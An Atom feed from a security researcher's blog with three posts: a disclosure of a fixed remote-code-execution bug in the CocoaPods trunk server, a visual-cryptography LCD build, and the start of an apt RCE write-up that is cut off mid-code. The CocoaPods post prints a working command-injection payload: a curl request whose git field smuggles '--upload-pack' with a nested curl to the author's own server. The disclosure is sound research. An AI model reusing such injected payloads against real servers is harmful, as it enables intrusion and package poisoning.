<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.5.1">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2021-04-21T18:34:12-07:00</updated><id>/</id><title type="html">Max Justicz</title><subtitle>Will I abandon this blog after only a few posts? Stay tuned and find out!
</subtitle><author><name>Max Justicz</name></author><entry><title type="html">Hacking 3,000,000 apps at once through CocoaPods</title><link href="/security/2021/04/20/cocoapods-rce.html" rel="alternate" type="text/html" title="Hacking 3,000,000 apps at once through CocoaPods" /><published>2021-04-20T00:00:00-07:00</published><updated>2021-04-20T00:00:00-07:00</updated><id>/security/2021/04/20/cocoapods-rce</id><content type="html" xml:base="/security/2021/04/20/cocoapods-rce.html">&lt;p&gt;tl;dr &lt;a href=&quot;http://cocoapods.org/&quot;&gt;CocoaPods&lt;/a&gt; is a popular package manager used by lots of iOS apps (among other Swift and Objective-C Cocoa applications). I found a remote code execution bug in the central CocoaPods server holding keys for the &lt;a href=&quot;https://github.com/CocoaPods/Specs&quot;&gt;Specs repo&lt;/a&gt; (&lt;a href=&quot;https://trunk.cocoapods.org/&quot;&gt;https://trunk.cocoapods.org/&lt;/a&gt;). This bug would have allowed an attacker to poison any package download. &lt;a href=&quot;https://blog.cocoapods.org/CocoaPods-Trunk-RCE/&quot;&gt;It’s fixed now.&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;I use the &lt;a href=&quot;https://itunes.apple.com/us/app/signal-private-messenger/id874139669&quot;&gt;Signal iOS app&lt;/a&gt; to communicate with my friends. I really like Signal, and one of the ways I like to give back to my favorite projects is by trying to find bugs in them.&lt;/p&gt;

&lt;p&gt;The first thing that stood out to me when browsing through the &lt;a href=&quot;https://github.com/signalapp/Signal-iOS/&quot;&gt;app’s source&lt;/a&gt; was &lt;code class=&quot;highlighter-rouge&quot;&gt;Podfile&lt;/code&gt;, which lists Signal’s &lt;a href=&quot;http://cocoapods.org/&quot;&gt;CocoaPods dependencies.&lt;/a&gt; I have a long &lt;a href=&quot;/security/2019/01/22/apt-rce.html&quot;&gt;history&lt;/a&gt; &lt;a href=&quot;/security/2017/10/07/rubygems-org-rce.html&quot;&gt;with&lt;/a&gt; &lt;a href=&quot;/security/2018/08/28/packagist-org-rce.html&quot;&gt;package&lt;/a&gt; &lt;a href=&quot;/security/2018/09/13/alpine-apk-rce.html&quot;&gt;managers,&lt;/a&gt; so my first idea was to try and find a bug in the central CocoaPods server. Why hack just Signal if we can find a bug that affects every app using CocoaPods?&lt;/p&gt;

&lt;h2 id=&quot;the-bug&quot;&gt;The bug&lt;/h2&gt;

&lt;p&gt;When you upload a package spec to CocoaPods, it tries to make sure you didn’t accidentally link to a private repository. It used to do that &lt;a href=&quot;https://github.com/CocoaPods/trunk.cocoapods.org/blob/cc6c932846dcb7b196a8c63fe2fcd566e26b38e4/app/models/specification_wrapper.rb#L77&quot;&gt;like this:&lt;/a&gt;&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;validate_git&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# We've had trouble with Heroku's git install, see trunk.cocoapods.org/pull/141&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;vi&quot;&gt;@specification&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:git&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;unless&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;include?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'github.com'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;include?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'bitbucket.org'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;ref&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;vi&quot;&gt;@specification&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:tag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;
    &lt;span class=&quot;vi&quot;&gt;@specification&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:commit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;
    &lt;span class=&quot;vi&quot;&gt;@specification&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:branch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;
    &lt;span class=&quot;s1&quot;&gt;'HEAD'&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;wrap_timeout&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'git'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'ls-remote'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;vi&quot;&gt;@specification&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:git&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ref&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;to_s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;There are a couple of issues here. The most important one is the attacker has complete control over &lt;code class=&quot;highlighter-rouge&quot;&gt;@specification.source[:git]&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;ref.to_s&lt;/code&gt;, and so can use them to pass flags to &lt;code class=&quot;highlighter-rouge&quot;&gt;git&lt;/code&gt;. &lt;code class=&quot;highlighter-rouge&quot;&gt;git ls-remote&lt;/code&gt; takes an optional flag &lt;code class=&quot;highlighter-rouge&quot;&gt;--upload-pack&lt;/code&gt; which happens to evaluate its contents in a shell. So if &lt;code class=&quot;highlighter-rouge&quot;&gt;@specification.source[:git]&lt;/code&gt; is equal to something like &lt;code class=&quot;highlighter-rouge&quot;&gt;--ls-remote=&quot;$(echo THIS WAS PROBABLY UNEXPECTED)&quot; github.com&lt;/code&gt;, and &lt;code class=&quot;highlighter-rouge&quot;&gt;ref.to_s&lt;/code&gt; is interpreted as a local repository, we’ll run the attacker’s command on the CocoaPods server.&lt;/p&gt;

&lt;p&gt;Here’s the exploit I used in the end:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -X POST -H &quot;Content-Type: application/json&quot; -H 'Authorization: Token MY_AUTH_TOKEN' &quot;https://trunk.cocoapods.org/api/v1/pods&quot; --data '{&quot;source&quot;:{&quot;git&quot;:&quot;--upload-pack=\&quot;$(curl my-server:4775/`whoami`)\&quot; https://github.com/&quot;,&quot;tag&quot;:&quot;1.0.0&quot;}}'
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h2 id=&quot;my-thoughts&quot;&gt;My thoughts&lt;/h2&gt;

&lt;h3 id=&quot;in-general&quot;&gt;In general&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Think about how much value CocoaPods has added to the world, just in developer time saved! Then think about how many huge companies use this software. Then think about how much a security audit would cost.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;for-people-using-dependency-managers&quot;&gt;For people using dependency managers&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Consider &lt;a href=&quot;https://stackoverflow.com/questions/26217488/what-is-vendoring&quot;&gt;vendoring&lt;/a&gt; dependencies and reviewing their updates carefully.&lt;/li&gt;
  &lt;li&gt;Your dependency manager might have bugs, and if you’re working on something security sensitive you should really carefully think about this attack vector.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;for-people-writing-dependency-managers&quot;&gt;For people writing dependency managers&lt;/h3&gt;

&lt;p&gt;If you want your dependency manager to be secure, you should really treat the following as toxic waste:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Package contents&lt;/li&gt;
  &lt;li&gt;Version control software&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It’s common for dependency manager servers to want to expose some metadata about the package (toxic waste), and frequently this is achieved by shelling out to some version control software (toxic waste). It’s best to avoid doing this at all, but if you must, you should use a sandbox – I really like &lt;a href=&quot;https://gvisor.dev/&quot;&gt;gVisor&lt;/a&gt; for this sort of thing.&lt;/p&gt;

&lt;p&gt;A few months ago I found an RCE bug in &lt;a href=&quot;https://proxy.golang.org&quot;&gt;proxy.golang.org&lt;/a&gt; which was shelling out to some &lt;a href=&quot;https://www.openwall.com/lists/oss-security/2020/08/20/1&quot;&gt;vulnerable version control software.&lt;/a&gt; But it was completely mitigated due to a gVisor sandbox I couldn’t escape.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Thanks to the CocoaPods maintainers for fixing this bug super quickly!&lt;/p&gt;

&lt;h2 id=&quot;shameless-plug&quot;&gt;Shameless plug&lt;/h2&gt;

&lt;p&gt;I’m trying to give &lt;a href=&quot;https://giveanet.org/&quot;&gt;10,000 mosquito nets to charity!&lt;/a&gt; If you liked this post please consider donating a $2 mosquito net.&lt;/p&gt;</content><author><name>Max Justicz</name></author><summary type="html">tl;dr CocoaPods is a popular package manager used by lots of iOS apps (among other Swift and Objective-C Cocoa applications). I found a remote code execution bug in the central CocoaPods server holding keys for the Specs repo (https://trunk.cocoapods.org/). This bug would have allowed an attacker to poison any package download. It’s fixed now.</summary></entry><entry><title type="html">Fun with LCDs and Visual Cryptography</title><link href="/security/2020/07/30/lcd-crypto.html" rel="alternate" type="text/html" title="Fun with LCDs and Visual Cryptography" /><published>2020-07-30T00:00:00-07:00</published><updated>2020-07-30T00:00:00-07:00</updated><id>/security/2020/07/30/lcd-crypto</id><content type="html" xml:base="/security/2020/07/30/lcd-crypto.html">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Did you know that you can combine two LCDs in a way that lets you see the &lt;code class=&quot;highlighter-rouge&quot;&gt;XOR&lt;/code&gt; of their contents?&lt;/p&gt;

&lt;video width=&quot;100%&quot; autoplay=&quot;&quot; controls=&quot;&quot;&gt;
  &lt;source src=&quot;/assets/lcdxor.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;/video&gt;

&lt;h2 id=&quot;motivating-problem&quot;&gt;Motivating Problem&lt;/h2&gt;

&lt;p&gt;Imagine a communications device made up of two mutually-untrusted halves. The halves are built with components sourced from two completely separate supply chains. We want the property that a remote adversary can never see a decrypted message, even if one of these halves contains a critical vulnerability.&lt;/p&gt;

&lt;p&gt;How could such a device ever display a decrypted message to the user? At the end of the day, we need to combine key material and ciphertext, decrypt the message, and show it on a display. If a single chip ever sees both the key and the ciphertext, or if the plaintext ends up on a single display component, that represents a single point of failure in our design. Is there any way around this?&lt;/p&gt;

&lt;h2 id=&quot;visual-cryptography&quot;&gt;Visual Cryptography&lt;/h2&gt;

&lt;p&gt;One solution to this problem is &lt;a href=&quot;https://en.wikipedia.org/wiki/Visual_cryptography&quot;&gt;visual cryptography.&lt;/a&gt; If we can use two displays from two different manufacturers and have them combine information visually, then we can build a chat device where no single component sees both halves of the message!&lt;/p&gt;

&lt;p&gt;In this scheme, each device displays an image that is, on its own, indistinguishable from random. But when the images are &lt;code class=&quot;highlighter-rouge&quot;&gt;XOR&lt;/code&gt;ed together, the plaintext is revealed. It’s a visual implementation of a &lt;a href=&quot;https://en.wikipedia.org/wiki/One-time_pad&quot;&gt;one-time pad.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This idea has been around for a while. There is a great 2003 paper by Tuyls et al. called &lt;a href=&quot;https://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=16484C7E2E7D62F50194EE463716CA12?doi=10.1.1.14.1279&amp;amp;rep=rep1&amp;amp;type=pdf&quot;&gt;Visual Crypto Displays Enabling Secure Communications,&lt;/a&gt; where they do everything I do in this blog post and much more, including some analysis on how to achieve authenticity even if an attacker can modify the contents of a display.&lt;/p&gt;

&lt;h3 id=&quot;first-attempt-transparent-oleds&quot;&gt;First Attempt (Transparent OLEDs)&lt;/h3&gt;

&lt;p&gt;Before I learned about the LCD trick at the top of this post, I googled around for transparent displays and found these teeny &lt;a href=&quot;https://www.sparkfun.com/products/15173&quot;&gt;transparent OLED modules sold by Sparkfun.&lt;/a&gt; Stacking OLED displays gives the visual &lt;code class=&quot;highlighter-rouge&quot;&gt;OR&lt;/code&gt; operation, not the visual &lt;code class=&quot;highlighter-rouge&quot;&gt;XOR&lt;/code&gt; operation, because the light just passes through.&lt;/p&gt;

&lt;p&gt;It turns out you can create visual &lt;code class=&quot;highlighter-rouge&quot;&gt;XOR&lt;/code&gt; from visual &lt;code class=&quot;highlighter-rouge&quot;&gt;OR&lt;/code&gt; using little checkerboard patterns. A friend pointed out that this same technique is used in a &lt;a href=&quot;https://www.chaum.com/publications/Secret_Ballot_Receipts.pdf&quot;&gt;voting scheme by David Chaum, except with paper instead of displays!&lt;/a&gt; From there I learned that this scheme goes back to (at least) &lt;a href=&quot;https://en.wikipedia.org/wiki/Visual_cryptography&quot;&gt;Moni Naor and Adi Shamir in 1994.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/ortoxor.png&quot; alt=&quot;Converting visual OR to visual XOR&quot; /&gt;
&lt;img src=&quot;/assets/oledxor.jpg&quot; alt=&quot;OLED visual XOR demo&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;second-attempt-lcds&quot;&gt;Second Attempt (LCDs)&lt;/h3&gt;

&lt;p&gt;LCD stands for &lt;a href=&quot;https://en.wikipedia.org/wiki/Liquid-crystal_display&quot;&gt;Liquid Crystal Display.&lt;/a&gt; As the name suggests, LCDs use a material called a liquid crystal.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Twisted_nematic_field_effect&quot;&gt;Twisted nematic&lt;/a&gt; liquid crystal displays work like this: when no voltage is applied across their liquid crystal layer, a helical structure forms, and the polarization of light shining through is rotated by some amount (on my LCDs, this is either 90 degrees or -90 degrees – I haven’t experimented to figure out which). When a large enough voltage is applied, the helical structure straightens out, and light passes through unchanged.&lt;/p&gt;

&lt;p&gt;By putting a polarizing filter on either side of this liquid crystal layer, with the two filters rotated 90 degrees relative to one another, an LCD can selectively block light from passing through by raising or lowering the voltage.&lt;/p&gt;

&lt;p&gt;So a normal LCD looks something like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/normallcd.png&quot; alt=&quot;Normal LCD diagram&quot; /&gt;&lt;/p&gt;

&lt;p&gt;But by peeling off the front polarizing layer from two LCDs, we can construct a display that looks like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/xorlcd.png&quot; alt=&quot;XOR LCD diagram&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With this setup, the displays now perform the &lt;code class=&quot;highlighter-rouge&quot;&gt;XOR&lt;/code&gt; operation! For a given pixel in some position on both displays:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;If both pixels are off, the polarization of incoming light is twisted by 90 degrees and then by -90 degrees, and so is blocked by the second polarizer.&lt;/li&gt;
  &lt;li&gt;If exactly one of the pixels is off, the polarization of incoming light is twisted once by either 90 degrees or -90 degrees, and so passes through the second polarizer.&lt;/li&gt;
  &lt;li&gt;If both pixels are on, light passes through the liquid crystal layers without rotating, and so is blocked by the second polarizer.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once I figured out a design, actually putting it together was straightforward. I used two &lt;a href=&quot;https://www.adafruit.com/product/1933&quot;&gt;LCD modules from Adafruit,&lt;/a&gt; peeled off the front polarizers from both displays, removed the backlight from one display, and placed them front-to-front:&lt;/p&gt;

&lt;style&gt;
    .image-gallery {overflow: auto; text-align: center; margin: 10px auto}
    .image-gallery li {display: inline-block; margin: 1%; width: 30%;}
    .image-gallery li a {text-align: center; text-decoration: none!important; color: #777;}
    .image-gallery li a img {width: 100%; display: block;}
&lt;/style&gt;

&lt;ul class=&quot;image-gallery&quot;&gt;&lt;li&gt;&lt;a href=&quot;/assets/lcdpics/IMG_4843.jpg&quot; title=&quot;IMG_4843&quot;&gt;&lt;img src=&quot;/assets/lcdpics/IMG_4843.jpg&quot; alt=&quot;IMG_4843&quot; title=&quot;IMG_4843&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;/assets/lcdpics/IMG_4856.jpg&quot; title=&quot;IMG_4856&quot;&gt;&lt;img src=&quot;/assets/lcdpics/IMG_4856.jpg&quot; alt=&quot;IMG_4856&quot; title=&quot;IMG_4856&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;/assets/lcdpics/IMG_4861.jpg&quot; title=&quot;IMG_4861&quot;&gt;&lt;img src=&quot;/assets/lcdpics/IMG_4861.jpg&quot; alt=&quot;IMG_4861&quot; title=&quot;IMG_4861&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;/assets/lcdpics/IMG_4868.jpg&quot; title=&quot;IMG_4868&quot;&gt;&lt;img src=&quot;/assets/lcdpics/IMG_4868.jpg&quot; alt=&quot;IMG_4868&quot; title=&quot;IMG_4868&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;/assets/lcdpics/IMG_4888.jpg&quot; title=&quot;IMG_4888&quot;&gt;&lt;img src=&quot;/assets/lcdpics/IMG_4888.jpg&quot; alt=&quot;IMG_4888&quot; title=&quot;IMG_4888&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;/assets/lcdpics/IMG_4893.jpg&quot; title=&quot;IMG_4893&quot;&gt;&lt;img src=&quot;/assets/lcdpics/IMG_4893.jpg&quot; alt=&quot;IMG_4893&quot; title=&quot;IMG_4893&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;

&lt;p&gt;These LCD modules come apart super easily. The only hiccup I ran into was that I was shipped driver boards with the &lt;a href=&quot;https://forums.adafruit.com/viewtopic.php?f=47&amp;amp;t=167188&quot;&gt;wrong firmware!&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;phones&quot;&gt;Phones&lt;/h2&gt;

&lt;p&gt;I want a secure communications device – something that only does simple chat, and doesn’t contain things like a web browser or ImageMagick. Secure chat apps like Signal are pretty good, but they usually run on smartphones, which consistently contain &lt;a href=&quot;https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-1.html&quot;&gt;crazy-ass bugs&lt;/a&gt; that let remote adversaries completely take over your device. We have all of these great cryptographic protocols, but no easy way to use them securely!&lt;/p&gt;

&lt;p&gt;Fortunately, there are some projects trying to address this problem. I’m really excited about &lt;a href=&quot;https://betrusted.io/&quot;&gt;Betrusted,&lt;/a&gt; which aims to build what is essentially a secure enclave with a keyboard, screen, and external untrusted networking component. This is excellent – we can remove entire classes of vulnerability by communicating with untrusted components over simple, easy-to-audit protocols.&lt;/p&gt;

&lt;p&gt;But I have to wonder: without sacrificing usability, can we get one step more paranoid than devices like Betrusted? Can we have a device that is more secure than the weakest link in its supply chain?&lt;/p&gt;

&lt;p&gt;(If you’re working on a secure communications device, please reach out!)&lt;/p&gt;

&lt;video width=&quot;100%&quot; autoplay=&quot;&quot; controls=&quot;&quot;&gt;
  &lt;source src=&quot;/assets/nevergonna.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;/video&gt;</content><author><name>Max Justicz</name></author><summary type="html">Introduction</summary></entry><entry><title type="html">Remote Code Execution in apt/apt-get</title><link href="/security/2019/01/22/apt-rce.html" rel="alternate" type="text/html" title="Remote Code Execution in apt/apt-get" /><published>2019-01-22T00:00:00-08:00</published><updated>2019-01-22T00:00:00-08:00</updated><id>/security/2019/01/22/apt-rce</id><content type="html" xml:base="/security/2019/01/22/apt-rce.html">&lt;p&gt;tl;dr I found a vulnerability in apt that allows a network man-in-the-middle (or a malicious package mirror) to execute arbitrary code as root on a machine installing any package. The bug has been fixed in the latest versions of apt. If you’re worried about being exploited during the update process, you can protect yourself by disabling HTTP redirects while you update. To do that, run:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ sudo apt update -o Acquire::http::AllowRedirect=false
$ sudo apt upgrade -o Acquire::http::AllowRedirect=false
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;If your current package mirrors redirect by default (meaning you can’t update apt when using that flag) you’ll need to pick different mirrors or download the package directly. &lt;a href=&quot;https://lists.debian.org/debian-security-announce/2019/msg00010.html&quot;&gt;Specific instructions for upgrading on Debian can be found here&lt;/a&gt;. &lt;a href=&quot;https://usn.ubuntu.com/3863-1/&quot;&gt;Ubuntu’s announcement can be found here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As a proof of concept, below is a video of me exploiting the following &lt;code class=&quot;highlighter-rouge&quot;&gt;Dockerfile&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;FROM debian:latest

RUN apt-get update &amp;amp;&amp;amp; apt-get install -y cowsay
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;video width=&quot;100%&quot; autoplay=&quot;&quot; controls=&quot;&quot;&gt;
  &lt;source src=&quot;/assets/aptpoc.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;/video&gt;

&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;

&lt;p&gt;When fetching data, apt forks off worker processes that specialize in the various protocols that will be used for data transfer. The parent process then communicates with these workers over stdin/stdout to tell them what to download and where to put it on the filesystem using a protocol that looks a little like HTTP. For example, when running &lt;code class=&quot;highlighter-rouge&quot;&gt;apt install cowsay&lt;/code&gt; on a machine using repos served over HTTP, apt will fork off &lt;code class=&quot;highlighter-rouge&quot;&gt;/usr/lib/apt/methods/http&lt;/code&gt;, which returns a &lt;code class=&quot;highlighter-rouge&quot;&gt;100 Capabilities&lt;/code&gt; message:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;100 Capabilities
Version: 1.2
Pipeline: true
Send-Config: true
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;The parent process will then send its configuration and request a resource, like this:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;601 Configuration
Config-Item: APT::Architecture=amd64
Config-Item: APT::Build-Essential::=build-essential
Config-Item: APT::Install-Recommends=1
(...many more lines omitted...)

600 URI Acquire
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3
Expected-Checksum-FileSize: 20070
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;And the worker process will respond with something like:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204)

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Waiting for headers

200 URI Start
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000

201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;When the HTTP server responds with a redirect, the worker process returns a &lt;code class=&quot;highlighter-rouge&quot;&gt;103 Redirect&lt;/code&gt; instead of a &lt;code class=&quot;highlighter-rouge&quot;&gt;201 URI Done&lt;/code&gt;, and the parent process uses this response to figure out what resource it should request next:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://example.com/new-uri
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h2 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;Unfortunately, the HTTP fetcher process URL-decodes the HTTP &lt;code class=&quot;highlighter-rouge&quot;&gt;Location&lt;/code&gt; header and blindly appends it to the &lt;code class=&quot;highlighter-rouge&quot;&gt;103 Redirect&lt;/code&gt; response:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;c1&quot;&gt;// From methods/basehttp.cc
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NextURI&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DeQuoteString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Redirect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NextURI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// From apt-pkg/acquire-method.cc
